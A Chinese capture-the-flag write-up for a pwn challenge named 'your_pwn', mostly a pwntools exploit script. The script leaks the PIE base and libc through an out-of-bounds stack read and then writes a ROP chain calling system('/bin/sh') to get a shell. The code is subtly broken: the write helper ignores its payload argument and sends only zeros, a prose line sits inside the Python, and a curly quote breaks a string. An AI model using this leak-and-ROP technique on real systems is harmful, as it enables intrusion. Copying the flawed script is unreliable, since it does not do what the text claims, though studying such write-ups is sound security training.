your_pwn

your_pwn

your_pwn_第1张图片
溢出点在图的循环中,通过输入v1,可以任意打印栈上的内容,通过输入v2,可以实现向栈上写,每次只能写一个字节,即8bit。

通过漏洞打印出ret地址,得到代码段的基址,然后通过puts打印出puts_got,泄露出libc的地址,然后构造system("/bin/sh")的payload,然后getshell

from pwn import *

context.log_level = 'debug'
pop_rdi_ret = 0xd03
r = process("./yourpwn")
#r = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
gdb.attach(r)
r.recvuntil("name:")
r.sendline(“xxxxx")

def get(p):#找到pie地址(因为pie保护的缘故,每一次的基址都不同,泄漏出某个函数的返回地址减去到基址的偏移,算出来的就是pie基址。
    i = 0
    ll = 0
    while(1):
        r.recvuntil("index\n")
        r.sendline(str(i + p))
        data = r.recvuntil("value\n")[:-17]
        data = int(data[-2:],16)
        if(i < 8):
            ll += data * (0x100 ** i)
        r.sendline(str(data))
        i += 1
        if(i % 41 == 0):
            r.recvuntil("continue(yes/no)? \n")
            r.sendline("yes")
            return ll

def write(p, x):#写入
    i = 0
    while(1):
        r.recvuntil("index\n")
        r.sendline(str(i + p))
        r.recvuntil("value\n")
        data = 0
        if(i != 40):
                r.sendline(str(data))
        i += 1
        if(i % 41 == 0):
            r.recvuntil("continue(yes/no)? \n")
            r.sendline("yes")
            return

pie = get(0x158) - 0xb11#0xb11是返回地址的偏移,在text文档可以看到,也就是调用了sub_b35之后的返回地址的偏移
print "pie: " + hex(pie)
raw_input()
write(0x158, [pie + pop_rdi_ret, pie + 0x202020, pie + 0x8B0, pie + 0xb0c, 0, 0, 0, 0])#循环四十次 [pie + pop_rdi_ret, pie + 0x202020, pie + 0x8B0, pie + 0xb0c, 0]) 前面32个字节,后面再加一个0就凑够40次了,多几个0也行
libc = u64(r.recvuntil("\n")[0:6].ljust(8,'\0')) - 0x06f690#不减去0x06f690时就是泄漏出来的puts地址,用这个直接在网站上可以查到libc版本,算出libc基址
print "libc: " + hex(libc)

system = libc + 0x045390
binsh = libc + 0x18cd57
查出来的偏移

write(0x158, [pie + pop_rdi_ret, binsh, system, 0, 0, 0, 0, 0])

r.interactive()

your_pwn_第2张图片
ok了
核心难理解的地方

pie+偏移——code段地址,即命令写入的位置
get函数——泄漏pie
write函数的功能——写入命令
wirte里面的0,填充,保证程序要求的四十次循环

your_pwn_第3张图片

你可能感兴趣的:(任务)